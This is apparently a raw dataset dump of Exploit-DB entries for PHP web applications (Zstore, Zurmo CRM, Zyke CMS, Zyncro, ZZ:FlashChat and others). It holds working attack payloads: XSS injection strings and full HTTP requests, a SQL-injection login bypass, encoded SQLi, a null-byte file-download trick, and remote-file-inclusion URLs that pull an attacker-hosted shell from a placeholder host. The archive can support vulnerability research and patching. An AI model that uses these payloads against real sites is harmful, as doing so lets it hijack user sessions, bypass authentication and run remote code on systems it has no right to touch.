deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51207
Description: Zstore 6.5.4 - Reflected Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-04-03
Author: nu11secur1ty

Exploit:
## Exploit Title: Zstore 6.5.4 - Reflected Cross-Site Scripting (XSS) 
## Development: nu11secur1ty
## Date: 01.18.2023
## Vendor: https://zippy.com.ua/
## Software: https://github.com/leon-mbs/zstore/releases/tag/6.5.4
## Reproduce: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/zippy/zstore-6.5.4

## Description:
The value of manual insertion point 1 is copied into the HTML document
as plain text between tags.
The payload giflc<img src=a onerror=alert(1)>c0yu0 was submitted in
the manual insertion point 1.
This input was echoed unmodified in the application's response.


## STATUS: HIGH Vulnerability

[+] Exploit:
```GET
GET /index.php?p=App%2fPages%2fChatgiflc%3c%61%20%68%72%65%66%3d%22%68%74%74%70%73%3a%2f%2f%77%77%77%2e%6e%75%31%31%73%65%63%75%72%31%74%79%2e%63%6f%6d%2f%22%3e%3c%69%6d%67%20%73%72%63%3d%68%74%74%70%73%3a%2f%2f%6d%65%64%69%61%2e%74%65%6e%6f%72%2e%63%6f%6d%2f%2d%4b%39%73%48%78%58%41%62%2d%63%41%41%41%41%43%2f%73%68%61%6d%65%2d%6f%6e%2d%79%6f%75%2d%70%61%74%72%69%63%69%61%2e%67%69%66%22%3e%0a
HTTP/2
Host: store.zippy.com.ua
Cookie: PHPSESSID=f816ed0ddb0c43828cb387f992ac8521; last_chat_id=439
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="107", "Not=A?Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://store.zippy.com.ua/index.php?q=p:App/Pages/Main
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
```

## Proof and Exploit:
[href](https://streamable.com/tplz84)

## Reference:
[href](https://portswigger.net/web-security/cross-site-scripting/reflected)


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/
https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #8567
Description: Zubrag Smart File Download 1.3 - Arbitrary File Download
Type: webapps
Platform: php
Date: 2009-04-29
Author: Aodrulez

Exploit:
---------------------------------------------------
"File Download 1.3" Remote File Download Exploit.
---------------------------------------------------
By       :Aodrulez. 
Email    :f3arm3d3ar@gmail.com
Blog	   :aodrulez.blogspot.com.
---------------------------------------------------

Script Name:File Download 1.3
Vendor     :http://www.zubrag.com/scripts/ 

Description:

This particular php script,named as "download.php"
can be tricked into allowing a remote attacker to
download all kinds of files such as .php,.txt etc 
etc.This can be achieved by adding a null byte 
followed by an allowed extension..for eg:

http://www.site.com/download.php?f=/path/file.php%00.jpg

-----------------------------------------------------
Greetz Fly Out to:
1] Amforked()      : My Mentor.
2] The Blue Genius : My Boss.
3] www.OrchidSeven.com.

"If you think C++ is not overly complicated, just what is 
a protected abstract virtual base pure virtual private 
destructor, and when was the last time you needed one?"
-- Tom Cargil.

# milw0rm.com [2009-04-29]
Exploit-DB #37010
Description: Zumset.com FbiLike 1.00 - 'id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-25
Author: Crim3R

Exploit:
source: https://www.securityfocus.com/bid/52720/info

FbiLike is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

FbiLike 1.00 is vulnerable; other versions may also be affected. 

http://www.example.com/fbilike/like.php?id=[XSS]
Exploit-DB #33953
Description: Zurmo CRM - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-07-02
Author: Provensec

Exploit:
# Affected software: Zurmo CRM
# Zurmo is an Open Source Customer Relationship Management (CRM)
application that is
# mobile, social, and gamified. We use a test-driven methodology for
building every part of the # application.
# Type of vulnerability: XSS Stored
# URL: zurmo.com
#
# Discovered by: Provensec
# Website: http://www.provensec.com

# Description: ZumoCRM is prone to a Persistent Cross Site Scripting attack
that allows a malicious user to inject HTML or scripts that can access any
cookies, session tokens, or other
sensitive information retained by your browser and used with that site.
# Proof of concept
# 1. Create a report as a Normal user
# 2. Select module: Accounts
# 3. Select filter: Name
# 4. Select column Employees and as a value use: "><script>alert('XSS by
Provensec')</script>
# 5. Save the report and share it with other users to distribute your
malicious code.
Exploit-DB #46420
Description: Zuz Music 2.1 - 'zuzconsole/___contact ' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-02-19
Author: Deyaa Muhammad

Exploit:
# Exploit Title: Zuz Music 2.1 - 'zuzconsole/___contact ' Persistent Cross-site Scripting
# Google Dork: N/A
# Date: 14 Feb 2019
# Exploit Author: Deyaa Muhammad
# Author EMail: contact [at] deyaa.me
# Author Blog: http://deyaa.me
# Vendor Homepage: https://zuz.host/
# Software Link: https://codecanyon.net/item/zuz-music-advance-music-platform-system/21633476
# Version: 2.1
# Tested on: WIN7_x68/Linux
# CVE : N/A

# Description:
----------------------
ZuzMusic 2.1 suffers from a persistent Cross-Site Scripting vulnerability.

# POC:
----------------------
1. Go To https://[PATH]/contact
2. There are three vulnerable parameters  name, subject and message.
3. Inject the JavaScript code.
4. The Injected JavaScript code will be executed when the Administrator open the malicious message https://demos.zuz.host/gmusic/admin/inbox.

# Request:
----------------------
POST /gmusic/zuzconsole/___contact HTTP/1.1
Host: server
Connection: close
Content-Length: 155
Accept: application/json, text/plain, */*
Origin: https://demos.zuz.host
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Type: application/json;charset=UTF-8
Referer: https://server/gmusic/contact
Accept-Encoding: gzip, deflate
X-XSS-Protection: 0

{"type":"general","name":"<script>alert(0)</script>","mail":"mail@example.com","subject":"<script>alert(1)</script>","message":"<script>alert(2)</script>"}


# Response:
----------------------
HTTP/1.1 200 OK
Date: Fri, 15 Feb 2019 01:30:19 GMT
Server: Apache
Connection: close
Content-Type: application/json
Content-Length: 183

{
    "kind": "zuz#contactMessageSent",
    "etag": "hnwdHsGYwqI6CCSoRSXDMG1BEDTbMMFrOcayLdTYeOs",
    "message": "We have recieved your query and will get back to you in 24 hours."
}
Exploit-DB #28842
Description: Zwahlen's Online Shop 5.2.2 - 'Cat' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-10-23
Author: MC.Iglo

Exploit:
source: https://www.securityfocus.com/bid/20682/info

Zwahlen's Online Shop is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The freeware version 5.2.2 is reported vulnerable; other versions may also be affected.

http://www.example.com/article.htm?cat=<script>alert("fix your bugs!")</script>
Exploit-DB #15945
Description: Zwii 2.1.1 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-01-08
Author: Abdi Mohamed

Exploit:
# Exploit Title: Zwii v 2.1.1 Remote file include vulnerbility
# Google Dork: Propulsé par Zwii 2.1.1
# Date: 08/01/2011
# Author: Abdi Mohamed
# Software Link: http://scripts.toocharger.com/fiches/scripts/zwii/5147.htm
# Version: v 2.1.1
# Tested on: ubuntu + centos 
# Email : abdimohamed@hotmail.fr - mrabdimohamed@gmail.com
#######################################################

Fichier : system.php
http://localhost/y/system/system.php

Code : 

// Importe la base de données
include("./system/data/settings.php");
include("./system/data/articles.php");
include("./system/data/accounts.php");
include("./system/data/positions.php");
include("./system/data/ip.php");
include("./templates/". $set["template"]["value"] ."/info.php");

Exploit:
http://localhost/y/system/system.php?set=(your shell)
http://localhost/y/system/system.php?set[template][value]=(your shell)



#######################################################
# Gr33tz : meher assel - xa7m3d - yahya idriss - houssem jrad - all tunisien hacker's
# Gr33tz : all member | v4-team.com - sec-war.com - hacktn.com
#######################################################
Exploit-DB #24772
Description: Zwiki 0.10/0.36.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-11-24
Author: Jeremy Bae

Exploit:
source: https://www.securityfocus.com/bid/11745/info

It is reported that Zwiki is susceptible to a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input prior to including it in dynamic web page content.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user.

http://www.example.com/<img src=javascript:alert('hi')>
Exploit-DB #12454
Description: Zyke CMS 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-04-29
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Zyke CMS V1.0 Remote File Upload Vulnerability           
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com/vb                                                                                                                                                                                                             
| # Script   : Powered by ZykeCMS 2010       
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : Mullti     
| # Download : freewebtown.com/indoushka                                                            
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1- Upload :
 
 http://127.0.0.1/ZykeCMSV1.0/admin/controlpanel.php
 
 http://127.0.0.1/ZykeCMSV1.0/images/logo/
 

Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com *  www.alkrsan.net * www.mormoroth.net * MR.SoOoFe * ThE g0bL!N
------------------------------------------------------------------------------------------------------------------------
Exploit-DB #12262
Description: Zyke CMS 1.1 - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-04-16
Author: Giuseppe 'giudinvx' D'Inverno

Exploit:
======================================================
ZykeCMS V1.1 (Auth Bypass) SQL Injection Vulnerability
======================================================

Author : Giuseppe 'giudinvx' D'Inverno
Email : <giudinvx[at]gmail[dot]com>
Date : 04-16-2010
Site : http://www.giudinvx.altervista.org/
Location : Naples, Italy

¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Application Info:
Site : http://www.zykecms.com/
Version: 1.1

¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
[·] Vulnerable code in /zykecms/conf/functions.php | /zykecms/admin.php

<?php
// admin.php
··········
if ($_POST['login'] != "" and $_POST['password'] != "")
{
if (check_login($_POST['login'], $_POST['password']) == true)
{
if ($_SESSION['function'] == 1)
header('Location: admin/');
else
header('Location: ');

$error_login = "";
}
else
··········
//functions.php
··········
function check_login($login, $password)
{
$sql = "SELECT * FROM users WHERE login='".$login."' AND
password='".md5($password)."'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
$data = mysql_fetch_array($result);
// echo $sql;
if ($num == 1)
{
session_start();
$_SESSION['last_access']=time();
$_SESSION['function']=$data['function'];
$_SESSION['login']=$data['login'];
$_SESSION['firstname']=$data['firstname'];
$_SESSION['lastname']=$data['lastname'];
$_SESSION['date']=$data['date'];
$_SESSION['id']=$data['id'];
return true;
}
else
return false;
}
·········
?>

¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
[·] Exploit

Frist of all join login page:

http://[target]/[path]/admin.php

Username: ' or 1=1-- -
Password: 1

Now have admin control.
Exploit-DB #12453
Description: Zyke CMS 1.1 - Bypass
Type: webapps
Platform: php
Date: 2010-04-29
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Zyke CMS V1.1 By pass Vulnerability           
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com/vb                                                                                                                                                                                                             
| # Script   : Powered by ZykeCMS 2010       
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : By pass  
| # Download : freewebtown.com/indoushka                                                                  
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
http://127.0.0.1/ZykeCMSV1.1/admin/home.php

http://127.0.0.1/ZykeCMSV1.1/admin/generalsettings.php

Dz-Ghost Team ===== Saoucha * Star08 * Redda * theblind74 * XproratiX * onurozkan * n2n * Meher Assel ====================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com *  www.alkrsan.net * www.mormoroth.net * MR.SoOoFe * ThE g0bL!N
------------------------------------------------------------------------------------------------------------------------
Exploit-DB #36150
Description: Zyncro 3.0.1.20 - Multiple HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2011-09-22
Author: Ferran Pichel Llaquet

Exploit:
source: https://www.securityfocus.com/bid/49740/info

Zyncro is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Note: To exploit these issues, an attacker must have the ability to create a new group and capture the packets transferred.

An attacker could exploit these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting victim in the context of the affected website. This may allow the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible.

Zyncro 3.0.1.20 is vulnerable; other versions may also be affected. 

One of the functionalities of Zyncro is the possibility of creating
groups. The name and description of the groups are not correctly
sanitized and it's possible to provoke some attacks.

In order to do the attack, you must create a new group and capture the
packet transferred to the server to modify it because validation is
done in client-side (only) using javascript.

The original request has three POST data parameters like:
popup=1   &   name=dGVzdA%3D%3D   &   description=dGVzdA%3D%3D

Important data are 'name' and 'description' parameters, which are
base64 encoded. In this case, both values are 'test':
 url_decode(dGVzdA%3D%3D)
 b64decode(dGVzdA==)
 test

It is possible to provoke the XSS by changing those values as follows:
"><script>alert("XSS attack")</script>

Values MUST be in base64, so:
b64encode(""><script>alert("XSS attack")</script>") =
Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4=

Finally the post-data of the request would become:
popup=1&name=Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4%3d&description=Ij48c2NyaXB0PmFsZXJ0KCJYU1MgYXR0YWNrIik8L3NjcmlwdD4%3d

Once the request has reached the server, a new group would be created
and any time that someone sees the name/description of the group, a
pop-up would appear, this is the easiest attack.
Exploit-DB #36151
Description: Zyncro 3.0.1.20 - Social Network Message Menu SQL Injection
Type: webapps
Platform: php
Date: 2011-09-22
Author: Ferran Pichel Llaquet

Exploit:
source: https://www.securityfocus.com/bid/49741/info

Zyncro social network is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com//zwall/list/filter//appIdFilter//shareGroupUrnFilter/c3luY3J1bTpzaGFyZWdyb3VwOjMyYjMyZjljLTg3OWEtNDRjNC05ZWY1LTE2ZDQ4YTlhYTE2Nycgb3IgJzEnIGxpa2UgJzEnIGxpbWl0IDIwMCAtLQ==/shareGroupTypeFilter//shareDocumentUrnFilter/?popup=1&ayuda=&actualSection=folders&plainView=1&rand=9809
Exploit-DB #28171
Description: Zyxware Health Monitoring System - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-09-09
Author: Sarahma Security

Exploit:
# Exploit Title: Zyxware Health Monitoring System Multiple Vulnerability
# Google Dork: Inurl:maps/layers.php?bdywidth= (and more)
# Date: 07 Sep 2013
# Vendor Homepage: http://www.zyxware.com/
# Software Link:
https://github.com/zyxware/Zyxware-Health-Monitoring-System/
# Version:
# Tested on: Win 7/Backtrack
# CVE :
# Exploit Author: Sarahma Security
# Author Homepage: http://sarahma.co.id
# Author Email: research@sarahma.co.id


========================
SQL Injection
========================
Found on
http://localhost/healthmonitor/maps/diseaseinfo.php
Parameter : strDiseaseName
http://localhost/healthmonitor/maps/diseaseinfo.php?strDiseaseName=1'{SQLHERE}

Found On
http://localhost/healthmonitor/maps/summary.php
Parameter : opt
http://localhost/healthmonitor/maps/summary.php?opt=1'{SQL HERE}&type=Dist


========================
XSS Vulnerability
========================
Found On :
http://localhost/healthmonitor/maps/diseaseinfo.php
parameter : rightContent

http://localhost/healthmonitor/maps/googlemap.php
parameter : mapheight and mapwidth

http://localhost/healthmonitor/maps/khmheading.php
parameter : imageheight

http://localhost/healthmonitor/maps/moreinfo.php
parameter : rightContent

http://localhost/healthmonitor/maps/summary.php
parameter : opt  and rightContent

Example :
http://localhost/healthmonitor/maps/khmheading.php?imageheight=0&imagePadding=%22%3Cscript%3E%20alert%28%27XSS%27%29%3C/script%3E


========================
Solution :
========================
No Solution Until This Advisory Published


========================
Timeline:
========================
2013-09-03 Provided details vulnerability to vendor
2013-09-07 No Response From vendor
2013-09-08 Advisory published
Exploit-DB #4546
Description: ZZ FlashChat 3.1 - 'help.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-10-19
Author: d3hydr8

Exploit:
# Title : ZZ:FlashChat Local File Inclusion Vulnerability

# Source : http://download.zehnet.de/index.php

# Author : d3hydr8

# Homepage : http://www.darkc0de.com

# Vuln: : /chat/admin/inc/help.php?file=[LFI]

# milw0rm.com [2007-10-19]
Exploit-DB #2224
Description: ZZ:FlashChat 3.1 - 'adminlog' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-19
Author: SHiKaA

Exploit:
#==============================================================================================
#ZZ:FlashChat <= V3.1 (adminlog) Remote File Inclusion Exploit
#===============================================================================================
#                                                                            
#Critical Level : Dangerous                                                  
#                                                                            
#Venedor site : http://download.zehnet.de             
#                                                                             
#Version : V3.1                                                  
#                                                               
#
#================================================================================================
#
#Bug in : chat/inc/func.add_data.php
#
#Vlu Code :
#--------------------------------
#
#  if($cfg['autolink']==1){	
#		include($adminlog.'./inc/func.autolink.php'); 
#  }
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/chat/inc/func.add_data.php?cfg[autolink]=1&adminlog=http://SHELLURL.COM?
#
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke XoRon Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf)
==================================================================================================

# milw0rm.com [2006-08-19]